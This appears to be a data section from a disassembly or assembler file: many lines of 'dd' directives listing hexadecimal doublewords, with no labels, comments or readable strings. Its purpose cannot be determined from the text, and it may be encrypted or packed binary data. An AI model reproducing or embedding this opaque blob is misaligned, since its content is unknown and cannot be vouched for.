dd 91073B7Dh, 3386E4D7h, 0B56F5CB0h, 0E19F0016h, 8774931Dh
dd 0F2601C0Eh, 3B54C5F4h, 1A143F4Bh, 86B20500h, 0D57CAE8Ch
dd 62309400h, 1D3E1CB6h, 0E6B31E0Bh, 0E1DA8173h, 0D829C9A3h
dd 4C0E8183h, 0A2D50CD7h, 48971A58h, 0D31D24h, 0B5F84AC3h
dd 3E98C277h, 0A5A6661Ch, 0B4183BDh, 0E81FA71Ah, 0A7FE6C9h
dd 0A2735A59h, 98CD98E8h, 0EC00DE50h, 5CE253B0h, 74F340Ch
dd 0F056DA52h, 9C2340D9h, 0FC034DDEh, 2FD83E6h, 34E48863h
dd 0CB9F0132h, 0F4AD8A9Dh, 461824BDh, 0BAF14C0Eh, 0F99E20B2h
dd 2EBDD3Dh, 98203879h, 0D080D66Bh, 447CC79Ch, 14283Dh
dd 0E686EA5h, 8BC671h, 9784F882h, 74D29247h, 0EB336B00h
dd 783151F2h, 0ABA800A1h, 58C3DDF9h, 9C1ED334h, 0E5402CBAh
dd 0CED8FE71h, 0EB770006h, 0A24CB4Ah, 0D2008451h, 448165A9h
dd 0D667Ah, 0B997B7E7h, 15F35FEh, 2A003071h, 0FDE2567Dh
dd 39BDCA9Ah, 4002DA4h, 0D90F1332h, 270093F8h, 4B539276h
dd 181D23F3h, 0F8244318h, 3B731101h, 0B6007A7Ch, 5A0E3187h
dd 5870598Fh, 3E0E54BFh, 57601F69h, 522702C8h, 0E1AF3300h
dd 0F72A9C9Ah, 121003E8h, 9FAE739Bh, 0C023ABE8h, 0CD16AC00h
dd 75CA8A7h, 13E82458h, 0A6050068h, 11C6368Dh, 0CD8A10C0h
dd 96BCB0Ah, 0F7D87F7Bh, 53BA3087h, 84006621h, 0F5EE2AADh
dd 0F833DAh, 553CBBA7h, 0FB1E0E6Ch, 9FAB001h, 0C059084Ch
dd 0B9C8F0h, 0E1F7A80Dh, 0C57D845Ch, 63DCFCFDh, 0FE6D6804h
dd 0B4903BF2h, 0ADD6DAh, 0ACBEECAAh, 1D2FDFB1h, 0E8575C02h
dd 412E3776h, 47D49084h, 985850EDh, 1A660113h, 642C0BEFh
dd 408030F7h, 8856C807h, 1FB0A7B9h, 9558BAFh, 0B001D37Ch
dd 299E1C00h, 0E9617847h, 0C3E15F30h, 733BBBF4h, 937A24E4h
dd 5429002Dh, 1DD33D1Bh, 89C08E60h, 713EA530h, 472007E0h
dd 90949B6Ah, 2FD27079h, 7A712200h, 0B8C62729h, 3049012Ch
dd 7783925h, 37ABD05Fh, 0F4AA3Fh, 5472DC3h, 358CA9h, 0E5A8FA97h
dd 0B58AEEAFh, 0A640FC00h, 0F03928B7h, 23A200E8h, 0FD375D2Dh
dd 1B00713Fh, 0EA1D17B9h, 4C3463h, 496ED07Eh, 95041EF0h
dd 0A02ECCF2h, 7400C20Ah, 6F4FF77h, 8729DFB9h, 50B46A17h
dd 9C612D62h, 0F33CF70Ch, 9DE21B7h, 1A4A2644h, 0E54E5820h
dd 417FCF88h, 0A8FDC000h, 8618AF85h, 0C75A0098h, 542CBD3Ah
dd 41E3969h, 580BAE0h, 0BF90F1F5h, 20A800A0h, 2457B7ADh
dd 1A000398h, 2C9C68A5h, 75061Eh, 77BC7CD2h, 93B7E43Ah
dd 0DB01D900h, 0DC33FDA9h, 67CB007Bh, 437C8657h, 3F1E97D0h
dd 803BA73Ah, 6E9321F5h, 0A9AFB7h, 0D3E69AEBh, 81549EE7h
dd 0AEC1DE00h, 0AD272BABh, 7DC30083h, 0A84F4090h, 0F238EFF3h
dd 9110803Ch, 351EDFB9h, 805E0018h, 8F756C7Bh, 2A00588Ch
dd 0D3624732h, 0A2D7F8h, 0B7DB2326h, 0B24525B1h, 0D9776F26h
dd 0D3B52B00h, 1D172FFEh, 408EA0D5h, 0C3C4D80Dh, 3E0724C0h
dd 180E4E33h, 0C55A0750h, 0B87B3859h, 2A635181h, 21F9E529h
dd 4679F070h, 0F6D94F00h, 0AAC899BFh, 7E420019h, 0F8C41006h
dd 52002892h, 0AC72751h, 0AE1C5Fh, 0CDF5113Eh, 0E06D21BBh
dd 1065A00h, 9A4E641Dh, 0FAF498DFh, 9049FA4Fh, 78E6E8h
dd 0A3F3501Eh, 5B02929Ch, 0C100A890h, 3A40FBD0h, 79C876E5h
dd 0CE1909F0h, 8803118h, 5E29FDC6h, 7B16FE00h, 0FA12E742h
dd 577000E9h, 0A8B86A5Dh, 5B0153E3h, 0EEDF6E35h, 4030116Dh
dd 68620156h, 7F0CFB73h, 1CC420B1h, 0DBFEDC00h, 992DD3CBh
dd 0D74F003Bh, 0D81E360Bh, 6000417h, 9F4C88AFh, 0C32D95h
dd 11CA81ADh, 0BF8916BEh, 0A801FF70h, 694BEC98h, 0DBDC4191h
dd 3FCB00B6h, 31FA332Ch, 0D8EED074h, 6B4A8801h, 0DFF0CFDCh
dd 0C0B37BD8h, 54E83C28h, 14B1D293h, 3068B280h, 38E7E178h
dd 4802EDAh, 0B5DF3472h, 8801F997h, 89D17B51h, 87C025FAh
dd 80CC0F7Eh, 0B6E0A231h, 9EA38B7Ch, 0D92DD700h, 6A2B9C32h
dd 0D1650003h, 77BBDA70h, 0C000FC78h, 3B895F4Dh, 0D8EB05h
dd 75519166h, 38BF3CB7h, 72FBE000h, 31AB6C89h, 0AFD9034Bh
dd 0ED34C5E9h, 2C56B2E0h, 48F89100h, 7BB1A566h, 0F61803BDh
dd 59D79030h, 39434790h, 0C999E400h, 26E2FC09h, 60CA00DDh
dd 344CB89Eh, 0FEECAA01h, 48570600h, 98DBA97Fh, 5C2739F7h
dd 0EF00F4CDh, 12256F2Bh, 4A00636Ch, 0FF67A234h, 4E9FB0Dh
dd 0A7784224h, 7CB0D0ABh, 0F2000E5Bh, 9986E177h, 3A46FC93h
dd 1E818E05h, 57C8D4F3h, 4D8005DBh, 7D0E80h, 0EEFB81AFh
dd 0B5914247h, 9A7143FEh, 0AC00BA71h, 33C770B7h, 0E52534h
dd 42C8D0E6h, 7B148241h, 26E41900h, 9D637DAFh, 4F500B9h
dd 5C5B94F8h, 0B6127F6Ch, 0B000DEEFh, 0C07649E9h, 71A60067h
dd 8733E58Bh, 1E40DB2h, 5B893407h, 9F100258h, 0CF59D9h
dd 824F7E1Fh, 54CAFD7Ah, 4AEFDD04h, 57C070B6h, 90D9436Fh
dd 0A0913DB0h, 0BCB2807Dh, 88C04D2Ah, 0BD9ADC00h, 1BFD7D58h
dd 3CE25854h, 0BF773005h, 5DD7C06Ch, 7E000BF5h, 12A00C69h
dd 0C65043h, 9A4B25DFh, 8F845B28h, 5DC1A601h, 3D59B004h
dd 7E4553D0h, 504A4C32h, 0FBC7C500h, 1E15AE3Fh, 12E89248h
dd 0BC909FFDh, 25A4AC9h, 568C1BA3h, 0CC40D570h, 0EA0E46CCh
dd 0C0EB7206h, 0A7D1CF47h, 5129032Dh, 0C89ED8D4h, 0B41D2588h
dd 0CCD654C3h, 1BFAE036h, 0F7578BDh, 51BF1060h, 81450C7Dh
dd 0EC006378h, 0B682AC39h, 0EA2A7FFBh, 0A4D31789h, 9B340012h
dd 8E0E6E29h, 7B502800h, 0E9EB731Ch, 73A06A4h, 4923E067h
dd 2CA66600h, 0E19A361Dh, 606507CDh, 7C275A5Bh, 76054320h
dd 7C19558Ch, 9F38E890h, 0B917004Fh, 0AF7E1DFAh, 920FCCDAh
dd 0A0516957h, 325515F4h, 0E75E154Bh, 0B6018425h, 0E26865C9h
dd 15C2D448h, 0D410EC00h, 0B1C0BC78h, 3D100F0h, 4C53025Bh
dd 0B97AAD7Ah, 0B3256101h, 0B17D294Eh, 267298E4h, 22CCB30h
dd 8791FD54h, 3D142840h, 9A51C51Ch, 9BA363C0h, 22CDC1h
dd 0FD6BF04Dh, 826241B4h, 0BAD9901Eh, 3FF7B947h, 0F660E8A0h
dd 3E300EDDh, 3D4A1A18h, 1E833EA0h, 0C6EDBEADh, 0A280CBE0h
dd 0E5DE3E0Eh, 0BB6780B9h, 0A40E9Ch, 83EF4044h, 72AB5A78h
dd 8E19600h, 9F6A6D14h, 220E1413h, 873CBDFBh, 0E8D3A4h
dd 48A181A5h, 5901CC44h, 0D767B37Eh, 29C0AE42h, 0EACCA05Ch
dd 0B5F8004Bh, 0A10F5A75h, 98C3141Fh, 0FAEB630Dh, 2426C193h
dd 2EC555CCh, 3F6EAC15h, 1FE55201h, 38357157h, 0D9E70450h
dd 94807BF3h, 678F98h, 524032E4h, 0C297BA89h, 75074870h
dd 98576A66h, 0AF87DFF1h, 374A60h, 0B32EACFEh, 4DB47030h
dd 6141AD00h, 33AE1A59h, 10E8A0h, 8C1FC6Bh, 0AA6212F9h
dd 70781503h, 0C07245EBh, 0DFC48DEh, 77215F3Ah, 3F68F021h
dd 0AF00C77Ah, 7346484Fh, 885C0766h, 0FE00B69Dh, 6974AE3Ah
dd 7CF4E0F6h
dd 7AEAA9h, 0C5392FE8h, 5261DD56h, 0E757A800h, 74FD3DAFh
dd 17DF070Ch, 13906268h, 0C5A80321h, 33099EBDh, 410C5C58h
dd 20D0B6CCh, 543038CAh, 4E09D8BFh, 28A050D1h, 0C3ABD52Bh
dd 5684A504h, 0A803E96Ch, 90A9C651h, 0F2B0C302h, 0E2002CB2h
dd 17FD184Ah, 98F3FCDh, 8595B3D9h, 2DA6B461h, 52777DE4h
dd 0D0F649h, 5A0F7AFAh, 3E6FE0h, 0FE141379h, 4BFBDE97h
dd 0C556D20Fh, 0EEACE0BCh, 0E6AEB04h, 6ED9F00Bh, 0F94063A0h
dd 160E838Dh, 66AD5630h, 3709148h, 0C7A2EB6Bh, 59B864ACh
dd 7D142620h, 1EAC5DFFh, 8D5F86C8h, 47CB625Ch, 0D9704107h
dd 5D2492F4h, 35041C61h, 0F0FD9C7Ah, 1B7C9E78h, 576EC00Ch
dd 3F12D8F4h, 2F0023A9h, 0ABF96111h, 0B500267Bh, 52AAF73Eh
dd 42EC59Ch, 7E65D2DEh, 5DC780FEh, 0A62CA73Dh, 4200FC10h
dd 2A8A80B2h, 73E373EEh, 0BE6501F3h, 94A025ACh, 0E71BD890h
dd 8E1A763Ch, 0E69878AEh, 0B061AAh, 162F7223h, 41551BC2h
dd 0AB803E0Eh, 0E01529DDh, 0E58A74h, 7F334571h, 0C06A5B75h
dd 1167C200h, 871E18A5h, 0DA632661h, 2879072Dh, 0F5AD90B5h
dd 0CF0066D3h, 0C80EC48Eh, 0E32609h, 14472962h, 6BDC96D5h
dd 0AA38A18h, 0FBFB6988h, 0CB00E02Ch, 0AD88154Eh, 9A1579DEh
dd 0A01D81h, 56E7FF8Bh, 3EE6F6AFh, 5A80E010h, 0C8425F20h
dd 8830F717h, 0E21B3CE3h, 7EED022Ch, 0F45EF94Dh, 93485C60h
dd 4A69B200h, 52749679h, 9C734Ch, 2BF007D6h, 0CE80FF0Ch
dd 0E36DF412h, 400A09h, 268902EDh, 0CFFC07F2h, 504955D2h
dd 3DFA7938h, 0B7905807h, 414E636Dh, 0DFACC1D5h, 127F61E0h
dd 1DD8455Ah, 44007A9Bh, 94283B4Ah, 3200D09Ch, 0BBBC7350h
dd 352C99h, 518B446Dh, 0CC17FFEAh, 0B2D84C05h, 64C003D9h
dd 0F30A0B6h, 9C2F614h, 2AEFC0C0h, 0B400893Ch, 9AAFB1A6h
dd 98963688h, 0D7AA07E8h, 0E0DC8C23h, 95E89D68h, 9C15C470h
dd 4905FF5h, 0FB2A6B1Fh, 8BAB5383h, 0FCC0BD54h, 0FC95123Eh
dd 0F63F0275h, 0E577FA39h, 2FD76460h, 96005AE8h, 146D6BE7h
dd 93B7AFFh, 189C505Fh, 47B4ACA0h, 0E800C1ACh, 4FEE3565h
dd 16B38A3h, 83685015h, 0F8EF9039h, 0AB03560Fh, 0DDFA371Fh
dd 0BEB80046h, 4CB52D3Ah, 0F575C697h, 274A3B00h, 1CFC4D03h
dd 6819014Eh, 0C5D36092h, 0AB9DC4B2h, 1B898A01h, 0F5E97D1h
dd 0F8F2C4h, 31544382h, 0FBE20678h, 0B6EB7700h, 86E6FFCDh
dd 15140046h, 0ACB5CE69h, 880031D7h, 840FBD21h, 22FAC5h
dd 5FEC7A9Dh, 3A62F694h, 875E0E00h, 57555A27h, 3D8C00DCh
dd 5F23C607h, 2000A740h, 80AF7B79h, 288E3EE8h, 0F0C89B67h
dd 380F4009h, 4F3C910Eh, 1F27C058h, 1C7A99Bh, 64E95A15h
dd 74E3D42Dh, 7D730124h, 0C1CDE250h, 0D7A18400h, 8B73D367h
dd 40F1EA0h, 9A7C057h, 7D6960C8h, 5509658h, 10329DDh, 0C941CC00h
dd 90F631BDh, 6071019Ch, 0F9C28B1h, 2DE0DE2Bh, 0EE00D07Fh
dd 55E5F302h, 49C699h, 2F889169h, 2764681Ah, 0CCC46F28h
dd 2ADBF600h, 5763FE46h, 0F2670014h, 9C0FD60Eh, 70078D6Bh
dd 4366872Bh, 749EB671h, 7D414FF0h, 654B8AAh, 94CC3B25h
dd 0F978A87Ah, 5F11301Dh, 0A0C0EDDDh, 6C4209AAh, 0EEBA0FE8h
dd 0A960FF90h, 1998BF56h, 0CBA8E9A3h, 0C9145DD2h, 0F80116h
dd 0F7710352h, 4D28A860h, 6313C084h, 1BA8427Ah, 38C8B1D7h
dd 60E812Ah, 0E051A980h, 0B316C23h, 37DD3F69h, 950AC4C9h
dd 95C6FE1h, 56009F6Bh, 0EA0EF4A8h, 5CE1FFA0h, 3A096800h
dd 0CD3D1D50h, 4C8BFEE3h, 4E049478h, 8018E98Dh, 2DC9CE76h
dd 0B4E8EC54h, 4DA09001h, 0DD40FA3Fh, 13016463h, 0FE792674h
dd 34BC9D7Ah, 7FCE1D4h, 0C8A6B3C4h, 5C2F609Fh, 17C2A7F2h
dd 0C30513h, 47E38D97h, 0BE00CDD3h, 5AFDFBB2h, 31C46h
dd 0CF2DEA8Bh, 43EF9A0Dh, 10C2890Ch, 153851h, 4D9D343Bh
dd 7F63A81h, 1404A759h, 79CA803h, 370D2A11h, 0E0D380F3h
dd 1E45C2h, 1FA987F3h, 0B9D64438h, 0FBBEEC00h, 0F88691Bh
dd 0B568582Dh, 0F5629700h, 76B8E8F6h, 9F43601Ch, 0E0E1E403h
dd 80E5C2DDh, 56BBA9DCh, 0F495005Fh, 8D55C512h, 6000FB4Fh
dd 8CE2E50Ch, 78246B6Fh, 640200C1h, 4C71E3Fh, 5B00E665h
dd 41BE9D27h, 1EA28D69h, 58636Fh, 0EB786E72h, 103DE209h
dd 0C0888F62h, 0EA03A3A2h, 530BC821h, 8CC658A1h, 69293200h
dd 0E9180713h, 0FB1B8A0Bh, 85EA0076h, 7CF1D10h, 1CE8580Ah
dd 7A95E187h, 0C48CC493h, 3055ED00h, 0D6A4492Bh, 7B9D0101h
dd 63E16FADh, 70B3EC53h, 0F7904B0h, 0DBB10D00h, 41435CD1h
dd 0C8540051h, 48E45ED9h, 99E83E36h, 6713B87Bh, 0E80087E3h
dd 1289F066h, 4E4F0042h, 601B919Eh, 0D6EC1449h, 7041858h
dd 617C9CB2h, 1644CFB0h, 0EDF7FBBh, 7F5C1C68h, 0B507A280h
dd 2B1D22DAh, 8F9F2AA9h, 85D5BE00h, 786133Ch, 81A2CE71h
dd 6B82915Fh, 34562188h, 8A0E8EB0h, 0AB7F0E61h, 21A4E644h
dd 6E04C41Eh, 20822B03h, 1C01C05Fh, 0E86D2CE0h, 4A6688E4h
dd 0F4CD2180h, 2ED26783h, 8B31E9h, 47092C71h, 6E19B8EAh
dd 3878F232h, 0C307386Ch, 0D0250ECDh, 0F9A55AA9h, 3560B601h
dd 0E8012773h, 3080C721h, 0DB14746Ch, 0DC90F7EDh, 1C2F5C02h
dd 414EC30Ah, 48202974h, 9A2F401h, 0C6701522h, 0D95B6CE8h
dd 1FC364Ch, 46C9F47Ah, 0E4F4CE1Dh, 9F9100C0h, 9A8ADCF5h
dd 9503E2A5h, 0BC3A102h, 4FB0FFD0h, 0AD620Eh, 1F985715h
dd 219B588Fh, 0EFA96600h, 0C4553EB8h, 4BD2010Fh, 0FC3127F3h
dd 598C50E9h, 997EC089h, 1F6A0B1Dh, 0A7D6B8C0h, 0DE9810h
dd 66373FAFh, 23AEB5B7h, 6CD02100h, 0F0E9A9A2h, 9DE80704h
dd 0A99B987Fh, 0B8768C01h, 0ACC0F084h, 90F5AE00h, 5946F273h
dd 0A04C019Eh, 7028B0DCh, 0E1DAEC38h, 0F4CF2C13h, 27C584C8h
dd 0B081E358h, 0C487096Dh, 4E75859Ch, 793E7016h, 0BFDF2103h
dd 0EA448824h, 0B5EC3ECAh, 0BEF8A280h, 168E9ADCh, 47BF7D04h
dd 17C05180h, 802A6h, 25052127h, 1ACF5A18h, 3FD4EE00h
dd 0AD916781h, 8C77C5h, 7B8DE69Ah, 6044E706h, 6D00B474h
dd 0E27DFEF5h, 3B436E64h, 5E3862B6h, 0FAC81780h, 53198BC4h
dd 6302337Bh, 0A4F9990Eh, 0F2B0F05Bh, 8B1B0032h, 0ECEBBBC6h
dd 0F2254C14h, 87144203h, 0A60032ABh, 0B16E2Ch, 3BE7D51Fh
dd 0A59BB478h, 3C6A3Ch, 0FFB7C443h, 39CD694h, 0E9CA4170h
dd 0E0907577h, 7D00A7E2h, 0A010FEA2h, 8790D9h, 0E684DCB0h
dd 0BCDF5A2Bh, 4ECA6C00h, 642A8313h, 0E089841h, 434B22DDh
dd 0B2F30692h, 0D8E6B15Bh, 0E6E30C8h, 3F80267Bh, 0D274E8E9h
dd 0F8D33800h, 0E1D5F794h, 5EE5052Ah, 2BCEE13h, 3BD37820h
dd 4CE87CC3h, 0FA12161Dh, 98C3FD45h, 0F9A7998Ch, 70F4002Eh
dd 71A9E20Bh, 0BD116360h, 0DD28DCh, 4B2A9288h, 6DBA148Ah
dd 967621C1h, 0DDD030BBh, 0CB35013h, 4040F7F0h, 34B02DBh
dd 98CCFD35h, 0D1E89054h, 0A100C9E8h, 0C7D7182Ah, 0FA0AA899h
dd 5D660048h, 0B5312CE0h, 77012497h, 0A06BB789h, 0E160FD33h
dd 44FF0023h, 0EAFB57CDh, 0CC01BA15h, 244871D5h, 33D430BFh
dd 767700F8h, 53AAB839h, 0B0000A11h, 27F26626h, 7E51Ch
dd 0FCAC5C15h, 7CFD4C40h, 374E6C00h, 0D774F097h, 0ABC9C06Ah
dd 0FAF8D22Fh, 667D9401h, 6E8AA896h, 1560F8h, 936D74BCh
dd 34B1EF41h
dd 0F0E44851h, 770088CBh, 0F0D402E8h, 0C0CD97h, 0DC78374Dh
dd 1AA97DF1h, 0A4153F0Eh, 340580B8h, 51C3EFh, 986A9266h
dd 6EAA27B5h, 6D4BA0A8h, 81D6250Fh, 78003C1Bh, 9C902F08h
dd 11280045h, 0A235C21Ch, 30DFE4F7h, 0F2A03F40h, 27CB4A59h
dd 72416214h, 6EFCC78h, 8DCC0205h, 0D0E0F836h, 677990h
dd 8314FD2Ch, 610ACB66h, 5E36B518h, 546522B0h, 0F08B886Ch
dd 0F9410CF5h, 0A7A19471h, 0D8E5EC04h, 2488D75Eh, 4C0C007Bh
dd 3DAEDB9Bh, 0BC0317B3h, 2645150Dh, 2A885048h, 62690285h
dd 31067A20h, 87C53080h, 91414597h, 0F6FCD8h, 29CE016Ch
dd 122B33B9h, 1DEFFF4Ch, 0D30BA305h, 5EA201E4h, 81804DBEh
dd 0A0BD658Fh, 0E3006859h, 0D4C361CCh, 13BB5B43h, 0F21429h
dd 517E564Fh, 4200F463h, 80237D2Ah, 0C162CC48h, 18B4318h
dd 89DA702Dh, 84548FF8h, 0F442A50Ch, 0DD888821h, 0B68849ABh
dd 3E75080Ch, 8316046h, 0D7F139E3h, 0EA160202h, 1D560081h
dd 0A0C044D8h, 0C63549Ch, 18C90D34h, 0C8204FFCh, 9506FA5Ah
dd 0A98F46DDh, 3CD10C69h, 0FE391048h, 0D97B6203h, 0C153B9C7h
dd 29E07A9Dh, 15B3E96h, 0CEEA1306h, 0B3065050h, 57D01506h
dd 1807F081h, 21CFE314h, 4000D2FBh, 189DD0A8h, 30F87E0Fh
dd 8DC90D33h, 0D240CFD9h, 0AC4B5409h, 9C4A0046h, 4F2647D3h
dd 0B27F7A85h, 0D6631E00h, 0B045ABF1h, 0C19E0F2Bh, 5882C668h
dd 33C0818Dh, 0E2EAA815h, 0E0524400h, 592EB5C9h, 6AB60F48h
dd 46614302h, 0BC88E59Dh, 72E45238h, 16D14918h, 1CD7F88h
dd 0AF115D31h, 806D380Fh, 0D933219h, 0F84858CAh, 128020D8h
dd 0B3447B06h, 7511427h, 99239871h, 7A8A4169h, 0D08BC182h
dd 20C1416Dh, 0B723D154h, 0F359EC60h, 8CC8A094h, 1DAD570Ch
dd 3E00DB10h, 79C17AFBh, 0F0AFCAh, 662AF952h, 8BBF12EDh
dd 0EE3FCF00h, 3B63E01Eh, 0CC6E007Ah, 0AB754591h, 0F0FF548Ah
dd 8D1D49CAh, 5007300Eh, 11C052C5h, 7A56E3Ah, 0AD68E0E6h
dd 487743FDh, 7C292007h, 0F3100B10h, 7D889386h, 6B63125Ah
dd 28B400C4h, 0E944FB3Fh, 0DC6D51C3h, 3190B34h, 0EB008CE2h
dd 42A87C63h, 49CCC50Ah, 91404020h, 0D16E3D10h, 34304078h
dd 10997221h, 705D4300h, 0D3C05EB8h, 0BB07065Bh, 49289AA9h
dd 9574A200h, 61D929F9h, 0E7F10009h, 0E0E8C273h, 3600A172h
dd 5B56C071h, 14381E1h, 0AECF366h, 803F294Fh, 26493268h
dd 67218506h, 0E0B0114Eh, 0A27BA3F0h, 0C96D5607h, 4C461811h
dd 988E0021h, 25A4ECEFh, 0F8002F31h, 0C2E3F371h, 0F38B9A0h
dd 0DACA1DE7h, 7099C380h, 0E82E6CFEh, 4B1C0BB3h, 8E6979F0h
dd 0C07401A1h, 0C833F215h, 3C34C0DDh, 16AC21C0h, 5B443A1h
dd 5758746Ch, 19E44848h, 3E1090C0h, 0A485566Eh, 1D751040h
dd 43071098h, 389CD49Fh, 0FF24C3A0h, 6278B01h, 2DDEBCDCh
dd 0C687DC40h, 0A61D584Ah, 77E463Eh, 5EC6BE8h, 1635B0CCh
dd 0CA00FBB3h, 14A0AE6Ch, 33C9A88h, 0E3375651h, 57D7872Bh
dd 0A59550E1h, 917CC1F0h, 2700DE76h, 0F54BF6ADh, 7665697h
dd 9BE2DF22h, 63B66047h, 0B900D0ECh, 0D5741789h, 745753BBh
dd 0E3F54C1Fh, 0A9D36700h, 523B5125h, 9B09D100h, 0D61740D4h
dd 3D200076h, 0E291B39Eh, 7B0051C4h, 0D244314Bh, 988AECh
dd 5F863793h, 7FD679BFh, 0AA030905h, 4AC040C1h, 1C560575h
dd 839FC9E5h, 85BE3767h, 80A0389Bh, 540006E1h, 4A7FCEACh
dd 60C69Dh, 8177D55Fh, 966BDFC1h, 0B349EF09h, 81698955h
dd 0A8C6BE01h, 414004EFh, 0C739FCD8h, 8D52D34Ch, 8301AFBh
dd 0D432214Bh, 33A0039h, 54BBF83Ch, 7200F02Dh, 400F4E3Bh
dd 6074A682h, 1F609041h, 6B01FCB2h, 0DDADD1Eh, 88D1124Ch
dd 0F6B62180h, 0E08FBBFDh, 85CA140Ch, 980D089h, 5EEC9BB9h
dd 99E1508Fh, 0A88E9059h, 3FFA0880h, 17DC40C0h, 7ED719h
dd 0C013720Ah, 0CF85BB0Ch, 0B110E630h, 0C0ED3B4Dh, 2907A031h
dd 2E063C42h, 6616273Dh, 0E8210071h, 540FB585h, 7CEE74FAh
dd 0AC4508CAh, 858C2880h, 1FFA85Dh, 2DBABD2Ch, 48AFAA50h
dd 0A4A0688Ch, 3F00A725h, 18A3981Ch, 1AAC6Ch, 38E4CB01h
dd 0BC5A7497h, 0C97EFF34h, 0D3D4C00h, 7F78A6h, 0BB5489FBh
dd 6C720BADh, 66ECC7F2h, 43608100h, 0B20C6E80h, 66D3B35h
dd 974F460Eh, 0B418C41h, 0BE5987DFh, 0D6F27FEBh, 6DAB4049h
dd 90E0515h, 878EA161h, 3EB983A3h, 0BFA9B907h, 0BA43326Bh
dd 917CE9h, 476C1A9Ah, 0C51E45B3h, 31410A30h, 15E7C918h
dd 0C8BFF598h, 58556500h, 22623C91h, 0D15C200h, 4E86BDE0h
dd 286C06B5h, 38E3F79Eh, 371D7902h, 486BC34Dh, 0CBE7D40h
dd 0C2F0418Dh, 2000E651h, 24E76681h, 53D0FF8h, 57D21028h
dd 42AFC046h, 38302058h, 97531BBh, 26F20EE3h, 8E41C82Ch
dd 60D0BFB6h, 20EAA779h, 5A4D8CA0h, 83E1F16Fh, 0A9D3C89Eh
dd 0D9BEFAFDh, 59BCD50Eh, 7E0854h, 0C82EC9C1h, 169A09CFh
dd 21B91000h, 0E67FF32Ch, 1F35004Bh, 0EB7CF5C0h, 0AFF8FD3Eh
dd 51949B00h, 0D24DBD54h, 0D6F802E6h, 6C154262h, 79779560h
dd 0CD389800h, 0C6637DDAh, 0E1180016h, 7B5EFE3h, 750CA870h
dd 89D7CE5Ah, 7A0D00C3h, 0CA7E3CA6h, 0E562534Bh, 0A06085C9h
dd 0D5671CD8h, 4C8F013Eh, 5BAF3D79h, 0A4CAF0B9h, 4B00BAE2h
dd 6E8C1E5Eh, 3B9FB033h, 0CD008D6Ch, 569BC084h, 0AD758FA5h
dd 0B3993E0Fh, 24A24090h, 0E856179h, 83E21FA1h, 0DD21B09Dh
dd 820EA281h, 87701527h, 74A3EB98h, 8D288010h, 0EB5739Ah
dd 6175ACA6h, 383DF366h, 0C802D700h, 816B2637h, 278E0B0Dh
dd 26866873h, 0E6003829h, 0BE70A479h, 4106D598h, 7F60E032h
dd 0D3C40C00h, 0BD9CC193h, 4208CC24h, 9500A621h, 0B0D30A0Ch
dd 6C2D215Bh, 70B1502Ch, 5E10DD0Ch, 394C9047h, 20607D2Bh
dd 0A9B9F327h, 0BA07767Ch, 0DC0C152Ah, 9FE737C0h, 99400270h
dd 98B2FEB5h, 4B102h, 0B54D7D3h, 42763000h, 1AFDA06Ch
dd 38390064h, 9686DCFAh, 0B200F9BDh, 0DAFB4C50h, 37C4DD2Dh
dd 907ECC11h, 20F44C8h, 8729F200h, 0AE450D63h, 18690041h
dd 78A48CD7h, 0FD0760A2h, 0DF19554Dh, 5AF943F0h, 0FA260025h
dd 0E7C66707h, 1E3BCF5Eh, 0CB4700E8h, 8CEAB0FCh, 4D756Ch
dd 71205928h, 0A8D616FFh, 0E47D5E00h, 77F4630Ch, 0E03A00E1h
dd 7A117FB6h, 0BE00F1A3h, 297A229h, 0A78444D4h, 4139D604h
dd 0C423E58h, 18D87891h, 0C18900ECh, 81B8686Bh, 717A7A15h
dd 0E4DB161Dh, 13CE9187h, 0B4247CF0h, 5529C4C2h, 6756001Eh
dd 0BFAEE9h, 4844A3EAh, 0E4B1110Bh, 0CD907B00h, 0A1C70E0Ch
dd 95AA0040h, 0EE98CAA6h, 0E1001C7Ah, 499AB520h, 90FBEBBFh
dd 7BCD0339h, 0F8DE3105h, 0B1718EC8h, 3000BD73h, 399650C9h
dd 0CDA429h, 383319A3h, 3283C49Ch, 7EE17400h, 2D6ED3B2h
dd 0FFBD00C0h, 0B889DC7Ch, 0D4006CD9h, 20E7D03Ah, 763F5Dh
dd 0B68A70F2h, 0ACFF9DDFh, 0D30E8E0Eh, 0E9C960C3h, 69AFCD51h
dd 66F614F7h, 70B2E000h, 0C7BF28h, 6AE7A1B3h, 956921CCh
dd 0ED331F0Fh, 0AFAC0E0Fh, 814DCA20h, 6BF94200h, 0ADBA23h
dd 50952653h, 0C8AAE509h, 0B6EEA601h, 0B00885A2h, 0FC9C1080h
dd 8B2A2934h, 80F5DC3Ah, 68482233h, 72B1F7F6h, 0E43200BCh
dd 0D502DA5Ah, 2B0027BFh, 8EFA6DBh, 0EEB64C4Eh, 730B00F5h
dd 0F6ECC3B2h, 0E4003942h
dd 4738B17Eh, 373CA86Ah, 9070A0A7h, 21D5C255h, 0E7B16200h
dd 0DC977CF8h, 0DB630098h, 81D11156h, 0AF3F4F31h, 0E99101F3h
dd 3C71A5Bh, 992420h, 342088ABh, 17F97173h, 1995E4Ch, 418FE0C3h
dd 0C4F59BF5h, 71DB2D4h, 0BB7605B9h, 809F76F4h, 0CD8EE10Eh
dd 10A12CA2h, 202D0F16h, 2F008070h, 0AA598C86h, 84F6B900h
dd 0E05481E9h, 20EF0051h, 64CD6992h, 0CB009A82h, 5F138897h
dd 48B3A1E7h, 0B0316841h, 0C8AE32D0h, 5703674Eh, 1506C429h
dd 544A881Bh, 92C13061h, 0DF259478h, 670048FEh, 0BD822ABEh
dd 3B76702Fh, 60801698h, 0F7FBB0F2h, 9E003F46h, 835409FDh
dd 856DB9h, 1C6B5614h, 31F441C3h, 0D493980Eh, 5F54608Ah
dd 7882E8B2h, 0ADB300F3h, 0A61FE5C0h, 0D100194Eh, 0CD7554Bh
dd 3AC87990h, 0F886D4A8h, 101EE561h, 0EA78390Fh, 62E207F5h
dd 0AB38D2F1h, 0C3E420h, 0F756C232h, 66CAB510h, 0CA1573Ch
dd 80976C83h, 0A8893F5Ch, 3DD71180h, 0EEBE0139h, 2E9FB400h
dd 19A47EE5h, 0ECBC01A1h, 0D7461B84h, 0F90EFA8h, 0F40F3175h
dd 0DD353225h, 0A188FC69h, 83604F04h, 0F63422A5h, 37ED8905h
dd 0E0C0668Fh, 1E138Ch, 5E04E29Eh, 9FF03BA6h, 3548D0B8h
dd 0A3AD0789h, 30F7EDF4h, 1918D176h, 309441FEh, 0CCCE30EBh
dd 97CD0800h, 0AEAAA42Ch, 279D00E8h, 0FADDFF6h, 0C57C5690h
